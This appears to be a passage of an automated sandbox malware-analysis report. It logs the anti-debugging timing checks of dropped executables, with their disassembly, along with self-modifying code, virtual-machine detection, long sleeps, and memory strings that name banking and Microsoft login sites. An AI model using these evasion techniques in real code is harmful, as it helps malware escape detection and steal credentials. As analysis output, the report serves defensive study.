Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3375FF second address: 33760B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 33760B second address: 337610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337610 second address: 33762B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB92h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3378A1 second address: 3378AB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8854FD8856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3378AB second address: 3378B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3378B1 second address: 3378CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD8865h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3378CC second address: 3378D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3378D0 second address: 3378F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8854FD885Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F8854FD885Ch 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337A4E second address: 337A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337A55 second address: 337A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337A5B second address: 337A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337A5F second address: 337A65 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337BD4 second address: 337BE1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337BE1 second address: 337BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337BE9 second address: 337BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8854FAEB86h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337BF7 second address: 337C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007F8854FD8856h 0x0000000e popad 0x0000000f jbe 00007F8854FD8865h 0x00000015 popad 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337C21 second address: 337C25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 33817C second address: 338182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3384B8 second address: 3384DA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F8854FAEB92h 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3384DA second address: 3384DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3384DE second address: 33850B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8854FAEB86h 0x00000008 jmp 00007F8854FAEB8Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F8854FAEB86h 0x00000017 jmp 00007F8854FAEB8Eh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 32B1AE second address: 32B1B4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 32B1B4 second address: 32B1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8854FAEB91h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 338954 second address: 338962 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8854FD8858h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 338962 second address: 338988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8854FAEB92h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 339F69 second address: 339F79 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8854FD8856h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 339F79 second address: 339F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 339F7D second address: 339F8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 339F8F second address: 339FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FAEB98h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 33E22E second address: 33E234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 33D7C3 second address: 33D7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CD3C30 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E83CA8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F02D14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Special instruction interceptor: First address: 19EC76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Special instruction interceptor: First address: 19EB67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Special instruction interceptor: First address: 3C53FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Special instruction interceptor: First address: 701BAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Special instruction interceptor: First address: 8C75BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Special instruction interceptor: First address: 8A741A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7FEC76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 7FEB67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: A9DD08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A253FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: C48BE0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Special instruction interceptor: First address: 92A497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: C47740 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: A9B512 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: CF176C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: AA4CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Special instruction interceptor: First address: AA4F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Special instruction interceptor: First address: 893C30 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Special instruction interceptor: First address: A43CA8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Special instruction interceptor: First address: AC2D14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Special instruction interceptor: First address: 2A1BAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Special instruction interceptor: First address: 4675BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Special instruction interceptor: First address: 44741A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Special instruction interceptor: First address: 4CA497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Special instruction interceptor: First address: 88EC76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Special instruction interceptor: First address: 88EB67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Special instruction interceptor: First address: AB53FC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Special instruction interceptor: First address: 1081BAE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Special instruction interceptor: First address: 12475BF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Special instruction interceptor: First address: 122741A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Special instruction interceptor: First address: 12AA497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 6EDD08 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 898BE0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 897740 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 6EB512 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 94176C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 6F4CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Special instruction interceptor: First address: 6F4F9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Special instruction interceptor: First address: 67EC76 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Special instruction interceptor: First address: 67EB67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Special instruction interceptor: First address: 8A53FC instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Memory allocated: 4ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Memory allocated: 51F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Memory allocated: 71F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Memory allocated: 4C40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Memory allocated: 4E60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Memory allocated: 4CB0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

Code function: 3_2_05030424 rdtsc

3_2_05030424

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe

Code function: 6_2_00C33BB6 sidt fword ptr [esp-02h]

6_2_00C33BB6

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1227	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1241	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1248	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Window / User API: threadDelayed 502

Source: C:\Users\user\Desktop\file.exe TID: 1908	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe TID: 3924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2432	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2432	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5704	Thread sleep count: 1227 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5704	Thread sleep time: -2455227s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2744	Thread sleep count: 347 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2744	Thread sleep time: -10410000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 616	Thread sleep count: 1241 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 616	Thread sleep time: -2483241s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1128	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 716	Thread sleep count: 1248 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 716	Thread sleep time: -2497248s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2528	Thread sleep count: 1265 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2528	Thread sleep time: -2531265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe TID: 7120	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe TID: 5096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe TID: 1916	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe TID: 5636	Thread sleep time: -270000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe TID: 2396	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe TID: 3424	Thread sleep time: -138000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe TID: 5204	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Thread delayed: delay time: 922337203685477

Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ST44OD0PMG8MCMYJRN4.exe, ST44OD0PMG8MCMYJRN4.exe, 00000003.00000002.2368194252.000000000031E000.00000040.00000001.01000000.00000006.sdmp, 9NWW1UIUAOJA8NFOZHWEDA.exe, 9NWW1UIUAOJA8NFOZHWEDA.exe, 00000004.00000002.2409428853.0000000000881000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, skotes.exe, 00000005.00000002.2404972213.000000000097E000.00000040.00000001.01000000.0000000A.sdmp, M0SHVBI03XTU9LNHD2O8UA8TC8F.exe, 00000006.00000002.2505747838.0000000000C27000.00000040.00000001.01000000.0000000B.sdmp, 26e226f915.exe, 26e226f915.exe, 0000000B.00000002.2902072979.0000000000A19000.00000040.00000001.01000000.0000000F.sdmp, ef2532c0b1.exe, ef2532c0b1.exe, 0000000C.00000002.3013331115.0000000000421000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 26e226f915.exe, 26e226f915.exe, 0000000D.00000003.3032704846.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3166224749.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3292795200.000000000164B000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3173301010.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3178327332.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3198150791.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3266928045.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 26e226f915.exe, 0000001C.00000003.3177300154.00000000059B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 26e226f915.exe, 0000000D.00000003.3070418121.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 26e226f915.exe, 0000000B.00000003.2901522746.0000000001179000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000B.00000002.2904685604.0000000001179000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnY
